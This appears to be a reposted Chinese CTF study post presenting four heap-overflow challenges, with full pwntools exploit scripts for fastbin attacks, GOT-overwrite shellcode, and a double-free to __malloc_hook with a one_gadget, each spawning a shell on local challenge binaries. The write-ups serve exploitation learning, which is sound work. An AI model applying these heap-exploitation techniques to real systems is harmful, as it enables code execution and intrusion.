pwn学习总结(五) —— 堆溢出经典题型整理
生活随笔
收集整理的這篇文章主要介紹了
pwn学习总结(五) —— 堆溢出经典题型整理
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
pwn學習總結(五) —— 堆溢出經典題型整理
- fastbin + 棧溢出
- fastbin + 函數構造
- fastbin + 堆執行
- fastbin + malloc_hook
fastbin + 棧溢出
題目:fastbin
環境:ubuntu 16.04
下載地址:https://pan.baidu.com/s/1R6-BVR91Io_ZVPDDpBcCkA 提取碼:r7e5
查看程序防護:
使用ida進行反編譯:
已知條件:
利用思路:
exp:
#-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug'elf = ELF('./fastbin') sh = process('./fastbin')callsystem = 0x804852ddef add(num):sh.recvuntil('Your choice:\n')sh.send("1")sh.recvuntil('id:\n')sh.send(str(num))def delete(num):sh.recvuntil('Your choice:\n')sh.send("2");sh.recvuntil('id:\n')sh.send(str(num))def read(num, content):sh.recvuntil('Your choice:\n')sh.send("3")sh.recvuntil('id:\n')sh.send(str(num))sh.recvuntil('content:\n')sh.send(content)sh.recvuntil('Your Name:\n') sh.send(p32(0) + p32(0x29))sh.recvuntil('Your home is:') buff_addr = int(sh.recvline()[:-1], 16) #print(hex(buff_addr))add(0) add(1) delete(1) payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr) read(0, payload) add(1) add(2) payload = 'a'*0x12 + p32(callsystem) read(2, payload)#end while sh.recvuntil('Your choice:\n') sh.send("4")sh.interactive()getshell:
fastbin + 函數構造
題目:fastbin2
環境:ubuntu 16.04
下載地址:https://pan.baidu.com/s/1EdyxY51lrkOcbByIiIH-8A 提取碼:cs3z
查看程序防護:
使用ida進行反編譯:
已知條件:
利用思路:
exp:
#-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug'elf = ELF('./fastbin2') sh = process('./fastbin2')def add(num):sh.recvuntil('Your choice:\n')sh.send("1")sh.recvuntil('id:\n')sh.send(str(num))def delete(num):sh.recvuntil('Your choice:\n')sh.send("2");sh.recvuntil('id:\n')sh.send(str(num))def read(num, content):sh.recvuntil('Your choice:\n')sh.send("3")sh.recvuntil('id:\n')sh.send(str(num))sh.recvuntil('content:\n')sh.send(content)def do(num):sh.recvuntil('Your choice:\n')sh.send("4")sh.recvuntil('id:\n')sh.send(str(num))system_addr = elf.plt['system']add(0) add(1) add(2) delete(1) delete(2) payload = p32(system_addr).ljust(32, 'a') + p32(0) + p32(0x29) + '/bin/sh\x00' read(0, payload) #pwnlib.gdb.attach(proc.pidof(sh)[0]) do(2)sh.interactive()getshell:
fastbin + 堆執行
題目:note-service2
平臺:攻防世界 PWN 高手進階區
原平臺:CISCN-2018-Quals
查看程序防護:
使用ida進行反編譯:
已知條件:
利用思路:
exp:
#-*- coding: utf-8 -*- from pwn import * from ctypes import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' context.arch = 'amd64'elf = ELF('./note-service2') #libc_so = ELF('./') sh = process('./note-service2') #sh = remote('', )def add(index, content):sh.sendlineafter('choice>> ', '1')sh.sendlineafter('index:', str(index))sh.sendlineafter('size:', '8')sh.sendlineafter('content:', content)def delete(index):sh.sendlineafter('choice>> ', '4')sh.sendline(str(index))add(0,'/bin/sh') add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16') add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16') add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16') add(3,asm('syscall')+'\x90'*5) delete(0)sh.interactive()getshell:
fastbin + malloc_hook
題目:easy_heap
平臺:NCTF2019
環境:ubuntu 16.04
下載地址:https://pan.baidu.com/s/1_I07Zs2IK1WRFfYJGm_yFQ 提取碼:rtuh
查看程序防護:
使用ida進行反編譯:
已知條件:
利用思路:
exp:
#-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'amd64'libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')sh = process('./easy_heap')def add(size, content):sh.recvuntil('4. exit\n')sh.send('1')sh.recvuntil('What\'s your heap_size?\n')sh.send(str(size))sh.recvuntil('What\'s your heap_content?\n')sh.send(content)def delete(index):sh.recvuntil('4. exit\n')sh.send('2')sh.recvuntil('What\'s your heap_index?\n')sh.send(str(index))def show(index):sh.recvuntil('4. exit\n')sh.send('3')sh.recvuntil('What\'s your heap_index?\n')sh.send(str(index))buff_addr = 0x602060sh.recvuntil('What\'s your name?\n') sh.send(p64(0) + p64(49)) #構造chunk頭部#將chunk申請到buff處,寫入數據并溢出覆蓋chunk_size add(32, 'a') #id:0 add(32, 'a') #id:1 delete(0) delete(1) delete(0) add(32, p64(buff_addr)) #id:2 add(32, 'a') #id:3 add(32, 'a') #id:4 add(32, 'a'*8 + p64(0x200)) #id:5#泄露unsortbin的地址 add(256, 'a') #id:6 add(256, 'a') #id:7 delete(6) show(6) sh.recvuntil('heap6: ') ubin = u64(sh.recvline()[:-1].ljust(8, '\x00')) #print(hex(ubin))#0x3c4b78:可通過gdb調試計算,不同版本的libc偏移可能不同 #ubin = arena + 0x88,即 libc_base = ubin - (arena-libc_base) - 0x88 libc_base = ubin - 0x3c4b78 malloc_hook = libc_base + libc.symbols['__malloc_hook'] #0xf1147:通過靜態分析libc反匯編得到 one_gadget = libc_base + 0xf1147#1. 將chunk申請到malloc_hook-0x23位置,此時chunk的size為7f(可通過調試觀察) #2. 向malloc_hook中寫入one_gadget的地址 #3. 當malloc執行時,會判斷__malloc_hook中是否為空,若不為空,則執行其中的函數 add(96, 'a') #id:8 add(96, 'a') #id:9 delete(8) delete(9) delete(8) add(96, p64(malloc_hook-0x23)) #id:10 add(96, 'a') #id:11 add(96, 'a') #id:12 add(96, 'a'*0x13 + p64(one_gadget)) #id:13#再次調用malloc函數,將會執行one_gadget sh.recvuntil('4. exit') sh.send('1') sh.recvuntil('What\'s your heap_size?\n') sh.send('16')sh.interactive()getshell:
總結
以上是生活随笔為你收集整理的pwn学习总结(五) —— 堆溢出经典题型整理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pwn学习总结(四)—— 堆基础知识(持
- 下一篇: Windows APC学习笔记(一)——